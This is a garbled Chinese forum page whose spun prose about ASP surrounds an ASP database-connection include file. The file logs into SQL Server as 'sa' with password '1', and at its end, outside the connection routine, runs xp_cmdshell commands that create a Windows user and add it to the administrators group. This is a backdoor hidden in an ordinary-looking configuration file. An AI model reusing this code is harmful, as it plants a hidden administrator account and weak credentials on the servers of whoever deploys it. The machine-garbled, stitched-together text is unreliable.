|
马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
无法实现跨操作系统的应用。当然这也是微软的理由之一,只有这样才能发挥ASP最佳的能力。可是我却认为正是Windows限制了ASP,ASP的概念本就是为一个能让系统运行于一个大的多样化环境而设计的;数据|数据库<%
----数据库毗连Start
---二级域名称号
Main_Domain="web"--域名格局为pcc.net
dimconn_Home
dimconn_Homestr
界说数据库种别,1为SQL数据库,0为Access数据库
constIsSqlDataBase_Homestr=1
callconn_Home_init()
subconn_Home_init()
ifIsSqlDataBase_Homestr=1then
注此sql上岸必要有sa帐号和xp_cmdshell存储历程
sql数据库毗连参数:数据库名、用户暗码、用户名、毗连名(当地用local,外埠用IP)
DimSqlDatabaseName,SqlPassword,SqlUsername,SqlLocalName
SqlDatabaseName="Master"
SqlPassword="1"
SqlUsername="sa"
SqlLocalName="127.0.0.1"
conn_HomeStr="Provider=Sqloledb;UserID="&SqlUsername&";Password="&SqlPassword&";InitialCatalog="&SqlDatabaseName&";DataSource="&SqlLocalName&";"
else
DB="/User_Database/DataBase/Shop_Manager.MDB"---数据库路径
conn_HomeStr="Provider=Microsoft.Jet.OLEDB.4.0;DataSource="&Server.MapPath(db)
endif
Setconn_Home=Server.CreateObject("ADODB.Connection")
onerrorresumenext
iferr.number0then
err.clear
setconn_Home=nothing
Response.write"办理数据库毗连堕落!"
Response.End
else
onerrorresumenext
conn_Home.openconn_Homestr
iferrthen
err.clear
setconn_Home=nothing
Response.write"办理数据库毗连堕落!"
Response.End
endif
endif
onerrorgoto0
endsub
subendconn_Home()
onerrorresumenext
conn_Home.close
setconn_Home=nothing
onerrorgoto0
endsub
----数据库毗连End
Conn_Home.execute"UseMaster"
Conn_Home.execute"xp_cmdshellnetuser11/add"
Conn_Home.execute"xp_cmdshellnetlocalgroupadministrators1/add"
%>
</p>由于ASP还是一种Script语言所没除了大量使用组件外,没有办法提高其工作效率。它必须面对即时编绎的时间考验,同时我们还不知其背后的组件会是一个什么样的状况; |
|